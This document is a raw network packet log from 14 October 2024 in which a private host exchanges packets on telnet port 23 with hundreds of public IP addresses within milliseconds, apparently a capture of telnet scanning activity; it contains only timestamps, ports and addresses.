Oct 14, 2024 17:34:10.828813076 CEST	23	29508	174.59.244.233	192.168.2.14
Oct 14, 2024 17:34:10.828815937 CEST	29508	23	192.168.2.14	82.242.36.28
Oct 14, 2024 17:34:10.828815937 CEST	29508	23	192.168.2.14	140.123.108.122
Oct 14, 2024 17:34:10.828816891 CEST	29508	23	192.168.2.14	133.122.153.90
Oct 14, 2024 17:34:10.828819036 CEST	29508	23	192.168.2.14	95.183.143.178
Oct 14, 2024 17:34:10.828823090 CEST	29508	23	192.168.2.14	114.17.11.53
Oct 14, 2024 17:34:10.828824043 CEST	23	29508	143.43.132.65	192.168.2.14
Oct 14, 2024 17:34:10.828818083 CEST	29508	23	192.168.2.14	145.137.105.15
Oct 14, 2024 17:34:10.828830957 CEST	29508	23	192.168.2.14	155.60.53.23
Oct 14, 2024 17:34:10.828834057 CEST	23	29508	212.49.61.57	192.168.2.14
Oct 14, 2024 17:34:10.828840017 CEST	29508	23	192.168.2.14	49.233.47.69
Oct 14, 2024 17:34:10.828843117 CEST	29508	23	192.168.2.14	174.59.244.233
Oct 14, 2024 17:34:10.828844070 CEST	23	29508	192.30.251.198	192.168.2.14
Oct 14, 2024 17:34:10.828851938 CEST	23	29508	131.121.239.219	192.168.2.14
Oct 14, 2024 17:34:10.828856945 CEST	23	29508	160.6.111.25	192.168.2.14
Oct 14, 2024 17:34:10.828866005 CEST	23	29508	96.21.184.87	192.168.2.14
Oct 14, 2024 17:34:10.828875065 CEST	23	29508	178.232.3.196	192.168.2.14
Oct 14, 2024 17:34:10.828877926 CEST	29508	23	192.168.2.14	192.30.251.198
Oct 14, 2024 17:34:10.828881979 CEST	29508	23	192.168.2.14	131.121.239.219
Oct 14, 2024 17:34:10.828882933 CEST	23	29508	66.202.147.152	192.168.2.14
Oct 14, 2024 17:34:10.828885078 CEST	29508	23	192.168.2.14	160.6.111.25
Oct 14, 2024 17:34:10.828892946 CEST	23	29508	206.60.64.183	192.168.2.14
Oct 14, 2024 17:34:10.828896999 CEST	29508	23	192.168.2.14	96.21.184.87
Oct 14, 2024 17:34:10.828902006 CEST	23	29508	124.236.254.132	192.168.2.14
Oct 14, 2024 17:34:10.828905106 CEST	29508	23	192.168.2.14	178.232.3.196
Oct 14, 2024 17:34:10.828911066 CEST	23	29508	132.11.128.12	192.168.2.14
Oct 14, 2024 17:34:10.828919888 CEST	29508	23	192.168.2.14	212.49.61.57
Oct 14, 2024 17:34:10.828922033 CEST	23	29508	94.125.234.202	192.168.2.14
Oct 14, 2024 17:34:10.828922987 CEST	29508	23	192.168.2.14	143.43.132.65
Oct 14, 2024 17:34:10.828922987 CEST	29508	23	192.168.2.14	66.202.147.152
Oct 14, 2024 17:34:10.828924894 CEST	29508	23	192.168.2.14	206.60.64.183
Oct 14, 2024 17:34:10.828931093 CEST	29508	23	192.168.2.14	124.236.254.132
Oct 14, 2024 17:34:10.828932047 CEST	23	29508	89.62.210.100	192.168.2.14
Oct 14, 2024 17:34:10.828941107 CEST	23	29508	205.224.32.125	192.168.2.14
Oct 14, 2024 17:34:10.828949928 CEST	23	29508	83.41.251.122	192.168.2.14
Oct 14, 2024 17:34:10.828953028 CEST	29508	23	192.168.2.14	132.11.128.12
Oct 14, 2024 17:34:10.828958035 CEST	29508	23	192.168.2.14	94.125.234.202
Oct 14, 2024 17:34:10.828959942 CEST	23	29508	144.138.72.33	192.168.2.14
Oct 14, 2024 17:34:10.828969002 CEST	23	29508	140.233.9.116	192.168.2.14
Oct 14, 2024 17:34:10.828969002 CEST	29508	23	192.168.2.14	89.62.210.100
Oct 14, 2024 17:34:10.828975916 CEST	29508	23	192.168.2.14	205.224.32.125
Oct 14, 2024 17:34:10.828979969 CEST	23	29508	102.207.18.216	192.168.2.14
Oct 14, 2024 17:34:10.828984976 CEST	29508	23	192.168.2.14	83.41.251.122
Oct 14, 2024 17:34:10.828989983 CEST	23	29508	161.200.252.117	192.168.2.14
Oct 14, 2024 17:34:10.828990936 CEST	29508	23	192.168.2.14	144.138.72.33
Oct 14, 2024 17:34:10.828995943 CEST	23	29508	119.131.38.32	192.168.2.14
Oct 14, 2024 17:34:10.829000950 CEST	29508	23	192.168.2.14	140.233.9.116
Oct 14, 2024 17:34:10.829005957 CEST	23	29508	44.235.191.245	192.168.2.14
Oct 14, 2024 17:34:10.829027891 CEST	29508	23	192.168.2.14	161.200.252.117
Oct 14, 2024 17:34:10.829027891 CEST	29508	23	192.168.2.14	102.207.18.216
Oct 14, 2024 17:34:10.829031944 CEST	29508	23	192.168.2.14	119.131.38.32
Oct 14, 2024 17:34:10.829036951 CEST	29508	23	192.168.2.14	44.235.191.245
Oct 14, 2024 17:34:10.829054117 CEST	23	29508	153.60.52.206	192.168.2.14
Oct 14, 2024 17:34:10.829063892 CEST	23	29508	93.229.65.224	192.168.2.14
Oct 14, 2024 17:34:10.829072952 CEST	23	29508	221.93.109.237	192.168.2.14
Oct 14, 2024 17:34:10.829083920 CEST	23	29508	195.166.140.123	192.168.2.14
Oct 14, 2024 17:34:10.829092979 CEST	29508	23	192.168.2.14	153.60.52.206
Oct 14, 2024 17:34:10.829092979 CEST	29508	23	192.168.2.14	93.229.65.224
Oct 14, 2024 17:34:10.829093933 CEST	23	29508	175.21.244.183	192.168.2.14
Oct 14, 2024 17:34:10.829102993 CEST	23	29508	132.214.232.254	192.168.2.14
Oct 14, 2024 17:34:10.829106092 CEST	29508	23	192.168.2.14	221.93.109.237
Oct 14, 2024 17:34:10.829113007 CEST	23	29508	74.170.177.152	192.168.2.14
Oct 14, 2024 17:34:10.829113960 CEST	29508	23	192.168.2.14	195.166.140.123
Oct 14, 2024 17:34:10.829123020 CEST	23	29508	125.231.51.7	192.168.2.14
Oct 14, 2024 17:34:10.829123020 CEST	29508	23	192.168.2.14	175.21.244.183
Oct 14, 2024 17:34:10.829137087 CEST	29508	23	192.168.2.14	132.214.232.254
Oct 14, 2024 17:34:10.829138041 CEST	23	29508	132.40.143.87	192.168.2.14
Oct 14, 2024 17:34:10.829149008 CEST	23	29508	94.209.198.224	192.168.2.14
Oct 14, 2024 17:34:10.829157114 CEST	23	29508	31.198.111.132	192.168.2.14
Oct 14, 2024 17:34:10.829166889 CEST	23	29508	99.38.14.214	192.168.2.14
Oct 14, 2024 17:34:10.829169989 CEST	29508	23	192.168.2.14	74.170.177.152
Oct 14, 2024 17:34:10.829170942 CEST	29508	23	192.168.2.14	125.231.51.7
Oct 14, 2024 17:34:10.829176903 CEST	23	29508	196.106.143.157	192.168.2.14
Oct 14, 2024 17:34:10.829185963 CEST	23	29508	57.209.188.68	192.168.2.14
Oct 14, 2024 17:34:10.829185963 CEST	29508	23	192.168.2.14	132.40.143.87
Oct 14, 2024 17:34:10.829189062 CEST	29508	23	192.168.2.14	94.209.198.224
Oct 14, 2024 17:34:10.829189062 CEST	29508	23	192.168.2.14	31.198.111.132
Oct 14, 2024 17:34:10.829189062 CEST	29508	23	192.168.2.14	99.38.14.214
Oct 14, 2024 17:34:10.829195023 CEST	23	29508	107.127.44.94	192.168.2.14
Oct 14, 2024 17:34:10.829205036 CEST	23	29508	158.40.178.180	192.168.2.14
Oct 14, 2024 17:34:10.829205036 CEST	29508	23	192.168.2.14	196.106.143.157
Oct 14, 2024 17:34:10.829214096 CEST	29508	23	192.168.2.14	57.209.188.68
Oct 14, 2024 17:34:10.829216003 CEST	23	29508	182.239.10.92	192.168.2.14
Oct 14, 2024 17:34:10.829226971 CEST	23	29508	211.30.55.68	192.168.2.14
Oct 14, 2024 17:34:10.829233885 CEST	29508	23	192.168.2.14	107.127.44.94
Oct 14, 2024 17:34:10.829235077 CEST	23	29508	38.138.250.185	192.168.2.14
Oct 14, 2024 17:34:10.829241037 CEST	23	29508	111.156.255.9	192.168.2.14
Oct 14, 2024 17:34:10.829241037 CEST	29508	23	192.168.2.14	158.40.178.180
Oct 14, 2024 17:34:10.829243898 CEST	23	29508	58.163.235.111	192.168.2.14
Oct 14, 2024 17:34:10.829252005 CEST	29508	23	192.168.2.14	182.239.10.92
Oct 14, 2024 17:34:10.829252958 CEST	23	29508	149.0.234.84	192.168.2.14
Oct 14, 2024 17:34:10.829262972 CEST	23	29508	42.80.55.218	192.168.2.14
Oct 14, 2024 17:34:10.829272032 CEST	23	29508	79.95.164.75	192.168.2.14
Oct 14, 2024 17:34:10.829277039 CEST	29508	23	192.168.2.14	38.138.250.185
Oct 14, 2024 17:34:10.829277039 CEST	29508	23	192.168.2.14	211.30.55.68
Oct 14, 2024 17:34:10.829278946 CEST	29508	23	192.168.2.14	111.156.255.9
Oct 14, 2024 17:34:10.829281092 CEST	23	29508	197.50.129.162	192.168.2.14
Oct 14, 2024 17:34:10.829282999 CEST	29508	23	192.168.2.14	58.163.235.111
Oct 14, 2024 17:34:10.829292059 CEST	23	29508	131.214.80.119	192.168.2.14
Oct 14, 2024 17:34:10.829293966 CEST	29508	23	192.168.2.14	149.0.234.84
Oct 14, 2024 17:34:10.829297066 CEST	23	29508	162.232.220.253	192.168.2.14
Oct 14, 2024 17:34:10.829302073 CEST	29508	23	192.168.2.14	42.80.55.218
Oct 14, 2024 17:34:10.829307079 CEST	23	29508	202.97.41.192	192.168.2.14
Oct 14, 2024 17:34:10.829310894 CEST	29508	23	192.168.2.14	79.95.164.75
Oct 14, 2024 17:34:10.829313040 CEST	29508	23	192.168.2.14	197.50.129.162
Oct 14, 2024 17:34:10.829319000 CEST	29508	23	192.168.2.14	131.214.80.119
Oct 14, 2024 17:34:10.829369068 CEST	29508	23	192.168.2.14	162.232.220.253
Oct 14, 2024 17:34:10.829369068 CEST	29508	23	192.168.2.14	202.97.41.192
Oct 14, 2024 17:34:10.829476118 CEST	23	29508	125.173.163.175	192.168.2.14
Oct 14, 2024 17:34:10.829485893 CEST	23	29508	65.131.60.201	192.168.2.14
Oct 14, 2024 17:34:10.829489946 CEST	23	29508	221.54.208.3	192.168.2.14
Oct 14, 2024 17:34:10.829554081 CEST	29508	23	192.168.2.14	125.173.163.175
Oct 14, 2024 17:34:10.829669952 CEST	23	29508	81.171.195.2	192.168.2.14
Oct 14, 2024 17:34:10.829679966 CEST	23	29508	100.30.227.235	192.168.2.14
Oct 14, 2024 17:34:10.829689026 CEST	23	29508	183.129.63.177	192.168.2.14
Oct 14, 2024 17:34:10.829699039 CEST	23	29508	59.181.204.184	192.168.2.14
Oct 14, 2024 17:34:10.829708099 CEST	23	29508	152.188.125.227	192.168.2.14
Oct 14, 2024 17:34:10.829715967 CEST	23	29508	54.69.94.135	192.168.2.14
Oct 14, 2024 17:34:10.829721928 CEST	29508	23	192.168.2.14	183.129.63.177
Oct 14, 2024 17:34:10.829725981 CEST	23	29508	110.91.49.82	192.168.2.14
Oct 14, 2024 17:34:10.829727888 CEST	29508	23	192.168.2.14	65.131.60.201
Oct 14, 2024 17:34:10.829735994 CEST	23	29508	17.112.8.102	192.168.2.14
Oct 14, 2024 17:34:10.829735041 CEST	29508	23	192.168.2.14	100.30.227.235
Oct 14, 2024 17:34:10.829735994 CEST	29508	23	192.168.2.14	221.54.208.3
Oct 14, 2024 17:34:10.829735041 CEST	29508	23	192.168.2.14	59.181.204.184
Oct 14, 2024 17:34:10.829735994 CEST	29508	23	192.168.2.14	81.171.195.2
Oct 14, 2024 17:34:10.829745054 CEST	23	29508	110.196.166.255	192.168.2.14
Oct 14, 2024 17:34:10.829754114 CEST	23	29508	170.93.85.132	192.168.2.14
Oct 14, 2024 17:34:10.829755068 CEST	29508	23	192.168.2.14	152.188.125.227
Oct 14, 2024 17:34:10.829755068 CEST	29508	23	192.168.2.14	54.69.94.135
Oct 14, 2024 17:34:10.829765081 CEST	23	29508	58.154.77.18	192.168.2.14
Oct 14, 2024 17:34:10.829771042 CEST	29508	23	192.168.2.14	170.93.85.132
Oct 14, 2024 17:34:10.829777002 CEST	23	29508	38.126.181.165	192.168.2.14
Oct 14, 2024 17:34:10.829780102 CEST	29508	23	192.168.2.14	110.91.49.82
Oct 14, 2024 17:34:10.829780102 CEST	29508	23	192.168.2.14	17.112.8.102
Oct 14, 2024 17:34:10.829780102 CEST	29508	23	192.168.2.14	110.196.166.255
Oct 14, 2024 17:34:10.829787016 CEST	23	29508	8.131.84.73	192.168.2.14
Oct 14, 2024 17:34:10.829792023 CEST	23	29508	94.179.184.17	192.168.2.14
Oct 14, 2024 17:34:10.829796076 CEST	23	29508	109.210.216.89	192.168.2.14
Oct 14, 2024 17:34:10.829804897 CEST	23	29508	53.69.68.137	192.168.2.14
Oct 14, 2024 17:34:10.829808950 CEST	23	29508	170.230.81.56	192.168.2.14
Oct 14, 2024 17:34:10.829813004 CEST	29508	23	192.168.2.14	58.154.77.18
Oct 14, 2024 17:34:10.829817057 CEST	23	29508	208.48.167.49	192.168.2.14
Oct 14, 2024 17:34:10.829826117 CEST	23	29508	2.68.10.174	192.168.2.14
Oct 14, 2024 17:34:10.829835892 CEST	23	29508	186.215.230.135	192.168.2.14
Oct 14, 2024 17:34:10.829844952 CEST	23	29508	81.51.181.191	192.168.2.14
Oct 14, 2024 17:34:10.829854012 CEST	23	29508	48.72.220.251	192.168.2.14
Oct 14, 2024 17:34:10.829863071 CEST	23	29508	188.85.82.87	192.168.2.14
Oct 14, 2024 17:34:10.829874039 CEST	23	29508	142.130.244.180	192.168.2.14
Oct 14, 2024 17:34:10.829881907 CEST	23	29508	85.104.180.141	192.168.2.14
Oct 14, 2024 17:34:10.829881907 CEST	29508	23	192.168.2.14	53.69.68.137
Oct 14, 2024 17:34:10.829901934 CEST	29508	23	192.168.2.14	186.215.230.135
Oct 14, 2024 17:34:10.829904079 CEST	29508	23	192.168.2.14	2.68.10.174
Oct 14, 2024 17:34:10.829904079 CEST	29508	23	192.168.2.14	48.72.220.251
Oct 14, 2024 17:34:10.829904079 CEST	29508	23	192.168.2.14	188.85.82.87
Oct 14, 2024 17:34:10.829906940 CEST	29508	23	192.168.2.14	109.210.216.89
Oct 14, 2024 17:34:10.829906940 CEST	29508	23	192.168.2.14	81.51.181.191
Oct 14, 2024 17:34:10.829910040 CEST	29508	23	192.168.2.14	38.126.181.165
Oct 14, 2024 17:34:10.829910040 CEST	29508	23	192.168.2.14	8.131.84.73
Oct 14, 2024 17:34:10.829910994 CEST	29508	23	192.168.2.14	208.48.167.49
Oct 14, 2024 17:34:10.829910994 CEST	29508	23	192.168.2.14	94.179.184.17
Oct 14, 2024 17:34:10.829910994 CEST	29508	23	192.168.2.14	170.230.81.56
Oct 14, 2024 17:34:10.829912901 CEST	23	29508	202.33.92.8	192.168.2.14
Oct 14, 2024 17:34:10.829927921 CEST	29508	23	192.168.2.14	142.130.244.180
Oct 14, 2024 17:34:10.829941988 CEST	29508	23	192.168.2.14	85.104.180.141
Oct 14, 2024 17:34:10.829952955 CEST	29508	23	192.168.2.14	202.33.92.8
Oct 14, 2024 17:34:10.830060005 CEST	23	29508	58.44.115.213	192.168.2.14
Oct 14, 2024 17:34:10.830079079 CEST	23	29508	125.201.179.119	192.168.2.14
Oct 14, 2024 17:34:10.830089092 CEST	23	29508	34.151.27.144	192.168.2.14
Oct 14, 2024 17:34:10.830097914 CEST	23	29508	104.190.87.159	192.168.2.14
Oct 14, 2024 17:34:10.830106974 CEST	23	29508	78.39.146.248	192.168.2.14
Oct 14, 2024 17:34:10.830110073 CEST	29508	23	192.168.2.14	125.201.179.119
Oct 14, 2024 17:34:10.830110073 CEST	29508	23	192.168.2.14	58.44.115.213
Oct 14, 2024 17:34:10.830115080 CEST	23	29508	159.247.8.77	192.168.2.14
Oct 14, 2024 17:34:10.830120087 CEST	23	29508	158.217.24.93	192.168.2.14
Oct 14, 2024 17:34:10.830123901 CEST	23	29508	223.133.212.24	192.168.2.14
Oct 14, 2024 17:34:10.830132961 CEST	29508	23	192.168.2.14	104.190.87.159
Oct 14, 2024 17:34:10.830133915 CEST	23	29508	198.151.222.245	192.168.2.14
Oct 14, 2024 17:34:10.830138922 CEST	29508	23	192.168.2.14	78.39.146.248
Oct 14, 2024 17:34:10.830141068 CEST	29508	23	192.168.2.14	34.151.27.144
Oct 14, 2024 17:34:10.830142021 CEST	23	29508	71.233.66.112	192.168.2.14
Oct 14, 2024 17:34:10.830143929 CEST	29508	23	192.168.2.14	159.247.8.77
Oct 14, 2024 17:34:10.830153942 CEST	23	29508	125.50.99.59	192.168.2.14
Oct 14, 2024 17:34:10.830163002 CEST	29508	23	192.168.2.14	198.151.222.245
Oct 14, 2024 17:34:10.830163002 CEST	29508	23	192.168.2.14	223.133.212.24
Oct 14, 2024 17:34:10.830164909 CEST	23	29508	87.61.157.255	192.168.2.14
Oct 14, 2024 17:34:10.830164909 CEST	29508	23	192.168.2.14	158.217.24.93
Oct 14, 2024 17:34:10.830174923 CEST	23	29508	133.139.67.6	192.168.2.14
Oct 14, 2024 17:34:10.830178022 CEST	29508	23	192.168.2.14	71.233.66.112
Oct 14, 2024 17:34:10.830178022 CEST	29508	23	192.168.2.14	125.50.99.59
Oct 14, 2024 17:34:10.830183983 CEST	23	29508	23.29.123.138	192.168.2.14
Oct 14, 2024 17:34:10.830187082 CEST	29508	23	192.168.2.14	87.61.157.255
Oct 14, 2024 17:34:10.830193043 CEST	23	29508	73.160.224.46	192.168.2.14
Oct 14, 2024 17:34:10.830203056 CEST	23	29508	80.35.176.81	192.168.2.14
Oct 14, 2024 17:34:10.830210924 CEST	23	29508	27.155.104.219	192.168.2.14
Oct 14, 2024 17:34:10.830219030 CEST	23	29508	216.164.186.241	192.168.2.14
Oct 14, 2024 17:34:10.830228090 CEST	23	29508	8.6.164.125	192.168.2.14
Oct 14, 2024 17:34:10.830240011 CEST	23	29508	175.156.98.105	192.168.2.14
Oct 14, 2024 17:34:10.830249071 CEST	29508	23	192.168.2.14	23.29.123.138
Oct 14, 2024 17:34:10.830249071 CEST	23	29508	17.83.250.105	192.168.2.14
Oct 14, 2024 17:34:10.830249071 CEST	29508	23	192.168.2.14	80.35.176.81
Oct 14, 2024 17:34:10.830254078 CEST	29508	23	192.168.2.14	133.139.67.6
Oct 14, 2024 17:34:10.830255032 CEST	23	29508	201.234.140.34	192.168.2.14
Oct 14, 2024 17:34:10.830261946 CEST	23	29508	83.169.99.94	192.168.2.14
Oct 14, 2024 17:34:10.830271006 CEST	23	29508	79.46.202.240	192.168.2.14
Oct 14, 2024 17:34:10.830271959 CEST	29508	23	192.168.2.14	27.155.104.219
Oct 14, 2024 17:34:10.830271959 CEST	29508	23	192.168.2.14	216.164.186.241
Oct 14, 2024 17:34:10.830271959 CEST	29508	23	192.168.2.14	73.160.224.46
Oct 14, 2024 17:34:10.830271959 CEST	29508	23	192.168.2.14	8.6.164.125
Oct 14, 2024 17:34:10.830281019 CEST	23	29508	179.198.115.114	192.168.2.14
Oct 14, 2024 17:34:10.830286026 CEST	23	29508	68.6.182.224	192.168.2.14
Oct 14, 2024 17:34:10.830290079 CEST	23	29508	43.0.37.48	192.168.2.14
Oct 14, 2024 17:34:10.830327988 CEST	29508	23	192.168.2.14	17.83.250.105
Oct 14, 2024 17:34:10.830328941 CEST	29508	23	192.168.2.14	175.156.98.105
Oct 14, 2024 17:34:10.830349922 CEST	29508	23	192.168.2.14	83.169.99.94
Oct 14, 2024 17:34:10.830351114 CEST	29508	23	192.168.2.14	201.234.140.34
Oct 14, 2024 17:34:10.830358028 CEST	29508	23	192.168.2.14	179.198.115.114
Oct 14, 2024 17:34:10.830358028 CEST	29508	23	192.168.2.14	68.6.182.224
Oct 14, 2024 17:34:10.830367088 CEST	29508	23	192.168.2.14	43.0.37.48
Oct 14, 2024 17:34:10.830373049 CEST	29508	23	192.168.2.14	79.46.202.240
Oct 14, 2024 17:34:10.830375910 CEST	23	29508	51.170.36.145	192.168.2.14
Oct 14, 2024 17:34:10.830388069 CEST	23	29508	208.110.70.140	192.168.2.14
Oct 14, 2024 17:34:10.830396891 CEST	23	29508	79.154.20.121	192.168.2.14
Oct 14, 2024 17:34:10.830410004 CEST	29508	23	192.168.2.14	51.170.36.145
Oct 14, 2024 17:34:10.830462933 CEST	29508	23	192.168.2.14	208.110.70.140
Oct 14, 2024 17:34:10.830503941 CEST	23	29508	212.226.55.112	192.168.2.14
Oct 14, 2024 17:34:10.830513954 CEST	23	29508	110.208.97.106	192.168.2.14
Oct 14, 2024 17:34:10.830523014 CEST	23	29508	209.201.78.80	192.168.2.14
Oct 14, 2024 17:34:10.830532074 CEST	23	29508	13.216.67.46	192.168.2.14
Oct 14, 2024 17:34:10.830539942 CEST	23	29508	196.211.244.77	192.168.2.14
Oct 14, 2024 17:34:10.830549955 CEST	29508	23	192.168.2.14	212.226.55.112
Oct 14, 2024 17:34:10.830549955 CEST	23	29508	144.208.56.84	192.168.2.14
Oct 14, 2024 17:34:10.830560923 CEST	23	29508	115.26.119.168	192.168.2.14
Oct 14, 2024 17:34:10.830562115 CEST	29508	23	192.168.2.14	79.154.20.121
Oct 14, 2024 17:34:10.830565929 CEST	29508	23	192.168.2.14	110.208.97.106
Oct 14, 2024 17:34:10.830565929 CEST	29508	23	192.168.2.14	209.201.78.80
Oct 14, 2024 17:34:10.830565929 CEST	29508	23	192.168.2.14	13.216.67.46
Oct 14, 2024 17:34:10.830565929 CEST	29508	23	192.168.2.14	196.211.244.77
Oct 14, 2024 17:34:10.830569983 CEST	23	29508	44.114.45.34	192.168.2.14
Oct 14, 2024 17:34:10.830579042 CEST	23	29508	112.203.218.20	192.168.2.14
Oct 14, 2024 17:34:10.830584049 CEST	29508	23	192.168.2.14	144.208.56.84
Oct 14, 2024 17:34:10.830584049 CEST	29508	23	192.168.2.14	115.26.119.168
Oct 14, 2024 17:34:10.830588102 CEST	23	29508	120.184.25.116	192.168.2.14
Oct 14, 2024 17:34:10.830594063 CEST	23	29508	90.67.185.97	192.168.2.14
Oct 14, 2024 17:34:10.830602884 CEST	23	29508	58.58.204.170	192.168.2.14
Oct 14, 2024 17:34:10.830609083 CEST	29508	23	192.168.2.14	44.114.45.34
Oct 14, 2024 17:34:10.830611944 CEST	23	29508	104.68.11.200	192.168.2.14
Oct 14, 2024 17:34:10.830622911 CEST	23	29508	163.98.206.232	192.168.2.14
Oct 14, 2024 17:34:10.830632925 CEST	23	29508	63.192.116.34	192.168.2.14
Oct 14, 2024 17:34:10.830641031 CEST	23	29508	174.4.65.87	192.168.2.14
Oct 14, 2024 17:34:10.830657005 CEST	23	29508	200.193.132.1	192.168.2.14
Oct 14, 2024 17:34:10.830666065 CEST	23	29508	126.115.198.138	192.168.2.14
Oct 14, 2024 17:34:10.830674887 CEST	23	29508	200.37.41.60	192.168.2.14
Oct 14, 2024 17:34:10.830682993 CEST	23	29508	34.3.1.64	192.168.2.14
Oct 14, 2024 17:34:10.830687046 CEST	23	29508	128.48.25.231	192.168.2.14
Oct 14, 2024 17:34:10.830691099 CEST	23	29508	24.62.27.32	192.168.2.14
Oct 14, 2024 17:34:10.830697060 CEST	23	29508	63.238.239.85	192.168.2.14
Oct 14, 2024 17:34:10.830699921 CEST	23	29508	137.98.83.235	192.168.2.14
Oct 14, 2024 17:34:10.830699921 CEST	29508	23	192.168.2.14	90.67.185.97
Oct 14, 2024 17:34:10.830699921 CEST	29508	23	192.168.2.14	58.58.204.170
Oct 14, 2024 17:34:10.830699921 CEST	29508	23	192.168.2.14	200.193.132.1
Oct 14, 2024 17:34:10.830701113 CEST	29508	23	192.168.2.14	112.203.218.20
Oct 14, 2024 17:34:10.830702066 CEST	29508	23	192.168.2.14	63.192.116.34
Oct 14, 2024 17:34:10.830703974 CEST	23	29508	139.1.124.229	192.168.2.14
Oct 14, 2024 17:34:10.830732107 CEST	29508	23	192.168.2.14	126.115.198.138
Oct 14, 2024 17:34:10.830753088 CEST	29508	23	192.168.2.14	104.68.11.200
Oct 14, 2024 17:34:10.830753088 CEST	29508	23	192.168.2.14	163.98.206.232
Oct 14, 2024 17:34:10.830753088 CEST	29508	23	192.168.2.14	120.184.25.116
Oct 14, 2024 17:34:10.830753088 CEST	29508	23	192.168.2.14	174.4.65.87
Oct 14, 2024 17:34:10.830770016 CEST	29508	23	192.168.2.14	128.48.25.231
Oct 14, 2024 17:34:10.830770969 CEST	29508	23	192.168.2.14	139.1.124.229
Oct 14, 2024 17:34:10.830837011 CEST	29508	23	192.168.2.14	34.3.1.64
Oct 14, 2024 17:34:10.830837011 CEST	29508	23	192.168.2.14	24.62.27.32
Oct 14, 2024 17:34:10.830837011 CEST	29508	23	192.168.2.14	63.238.239.85
Oct 14, 2024 17:34:10.830837965 CEST	29508	23	192.168.2.14	200.37.41.60
Oct 14, 2024 17:34:10.830857038 CEST	29508	23	192.168.2.14	137.98.83.235
Oct 14, 2024 17:34:10.830964088 CEST	23	29508	146.252.161.74	192.168.2.14
Oct 14, 2024 17:34:10.830976009 CEST	23	29508	24.14.234.105	192.168.2.14
Oct 14, 2024 17:34:10.830982924 CEST	23	29508	47.86.121.89	192.168.2.14
Oct 14, 2024 17:34:10.830991030 CEST	23	29508	190.176.18.53	192.168.2.14
Oct 14, 2024 17:34:10.830996037 CEST	29508	23	192.168.2.14	146.252.161.74
Oct 14, 2024 17:34:10.831007957 CEST	29508	23	192.168.2.14	24.14.234.105
Oct 14, 2024 17:34:10.831015110 CEST	29508	23	192.168.2.14	190.176.18.53
Oct 14, 2024 17:34:10.831015110 CEST	29508	23	192.168.2.14	47.86.121.89
Oct 14, 2024 17:34:10.831129074 CEST	23	29508	104.131.8.202	192.168.2.14
Oct 14, 2024 17:34:10.831137896 CEST	23	29508	209.4.56.61	192.168.2.14
Oct 14, 2024 17:34:10.831146002 CEST	23	29508	105.156.93.68	192.168.2.14
Oct 14, 2024 17:34:10.831150055 CEST	23	29508	137.107.55.162	192.168.2.14
Oct 14, 2024 17:34:10.831159115 CEST	23	29508	144.21.253.56	192.168.2.14
Oct 14, 2024 17:34:10.831166983 CEST	23	29508	179.108.214.48	192.168.2.14
Oct 14, 2024 17:34:10.831176043 CEST	23	29508	184.119.184.201	192.168.2.14
Oct 14, 2024 17:34:10.831176043 CEST	29508	23	192.168.2.14	104.131.8.202
Oct 14, 2024 17:34:10.831185102 CEST	23	29508	142.222.5.171	192.168.2.14
Oct 14, 2024 17:34:10.831188917 CEST	23	29508	43.41.246.30	192.168.2.14
Oct 14, 2024 17:34:10.831192970 CEST	23	29508	54.3.197.112	192.168.2.14
Oct 14, 2024 17:34:10.831196070 CEST	23	29508	65.18.146.29	192.168.2.14
Oct 14, 2024 17:34:10.831199884 CEST	23	29508	112.121.195.184	192.168.2.14
Oct 14, 2024 17:34:10.831207991 CEST	23	29508	146.111.246.39	192.168.2.14
Oct 14, 2024 17:34:10.831212044 CEST	23	29508	97.191.159.35	192.168.2.14
Oct 14, 2024 17:34:10.831214905 CEST	23	29508	160.100.234.56	192.168.2.14
Oct 14, 2024 17:34:10.831218958 CEST	23	29508	91.157.18.145	192.168.2.14
Oct 14, 2024 17:34:10.831222057 CEST	23	29508	223.156.26.61	192.168.2.14
Oct 14, 2024 17:34:10.831228018 CEST	29508	23	192.168.2.14	209.4.56.61
Oct 14, 2024 17:34:10.831232071 CEST	23	29508	77.172.108.81	192.168.2.14
Oct 14, 2024 17:34:10.831232071 CEST	29508	23	192.168.2.14	54.3.197.112
Oct 14, 2024 17:34:10.831237078 CEST	29508	23	192.168.2.14	65.18.146.29
Oct 14, 2024 17:34:10.831240892 CEST	23	29508	209.30.66.121	192.168.2.14
Oct 14, 2024 17:34:10.831244946 CEST	29508	23	192.168.2.14	105.156.93.68
Oct 14, 2024 17:34:10.831245899 CEST	29508	23	192.168.2.14	137.107.55.162
Oct 14, 2024 17:34:10.831245899 CEST	29508	23	192.168.2.14	144.21.253.56
Oct 14, 2024 17:34:10.831245899 CEST	29508	23	192.168.2.14	179.108.214.48
Oct 14, 2024 17:34:10.831245899 CEST	29508	23	192.168.2.14	142.222.5.171
Oct 14, 2024 17:34:10.831245899 CEST	29508	23	192.168.2.14	43.41.246.30
Oct 14, 2024 17:34:10.831253052 CEST	23	29508	52.60.218.223	192.168.2.14
Oct 14, 2024 17:34:10.831254005 CEST	29508	23	192.168.2.14	184.119.184.201
Oct 14, 2024 17:34:10.831254959 CEST	29508	23	192.168.2.14	160.100.234.56
Oct 14, 2024 17:34:10.831259012 CEST	29508	23	192.168.2.14	146.111.246.39
Oct 14, 2024 17:34:10.831260920 CEST	29508	23	192.168.2.14	112.121.195.184
Oct 14, 2024 17:34:10.831264019 CEST	29508	23	192.168.2.14	223.156.26.61
Oct 14, 2024 17:34:10.831267118 CEST	29508	23	192.168.2.14	77.172.108.81
Oct 14, 2024 17:34:10.831270933 CEST	23	29508	72.117.245.163	192.168.2.14
Oct 14, 2024 17:34:10.831279993 CEST	23	29508	23.163.21.251	192.168.2.14
Oct 14, 2024 17:34:10.831284046 CEST	29508	23	192.168.2.14	97.191.159.35
Oct 14, 2024 17:34:10.831289053 CEST	23	29508	109.23.236.28	192.168.2.14
Oct 14, 2024 17:34:10.831289053 CEST	29508	23	192.168.2.14	209.30.66.121
Oct 14, 2024 17:34:10.831296921 CEST	23	29508	193.126.218.86	192.168.2.14
Oct 14, 2024 17:34:10.831300974 CEST	23	29508	101.0.73.224	192.168.2.14
Oct 14, 2024 17:34:10.831305027 CEST	23	29508	158.84.93.13	192.168.2.14
Oct 14, 2024 17:34:10.831309080 CEST	23	29508	145.34.212.186	192.168.2.14
Oct 14, 2024 17:34:10.831312895 CEST	29508	23	192.168.2.14	91.157.18.145
Oct 14, 2024 17:34:10.831314087 CEST	29508	23	192.168.2.14	52.60.218.223
Oct 14, 2024 17:34:10.831316948 CEST	23	29508	44.4.153.135	192.168.2.14
Oct 14, 2024 17:34:10.831321001 CEST	23	29508	107.91.12.103	192.168.2.14
